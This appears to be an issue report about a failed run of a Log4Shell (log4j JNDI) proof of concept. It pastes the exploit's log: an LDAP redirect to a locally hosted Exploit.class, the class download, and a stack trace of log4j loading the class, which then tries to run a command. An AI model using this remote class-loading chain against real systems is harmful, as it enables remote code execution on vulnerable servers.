Error in executing the commands

[badrinathpatchikolla]

Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
127.0.0.1 - - [15/Dec/2021 06:37:19] "GET /Exploit.class HTTP/1.1" 200 -
java.io.IOException: Cannot run program "open": error=2, No such file or directory
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
        at java.lang.Runtime.exec(Runtime.java:621)
        at java.lang.Runtime.exec(Runtime.java:486)
        at Exploit.<clinit>(Exploit.java:8)
        at java.lang.Class.forName0(Native Method)
        at java.lang.Class.forName(Class.java:348)
        at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:95)
        at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:101)
        at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:115)
        at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:164)
        at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
        at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1113)
        at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
        at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
        at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
        at javax.naming.InitialContext.lookup(InitialContext.java:417)
        at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
        at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
        at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
        at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
        at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
        at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
        at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
        at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
        at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
        at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
        at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
        at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
        at org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
        at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
        at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
        at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
        at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
        at log4j.main(log4j.java:11)
Caused by: java.io.IOException: error=2, No such file or directory
        at java.lang.UNIXProcess.forkAndExec(Native Method)
        at java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
        at java.lang.ProcessImpl.start(ProcessImpl.java:134)
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
        ... 49 more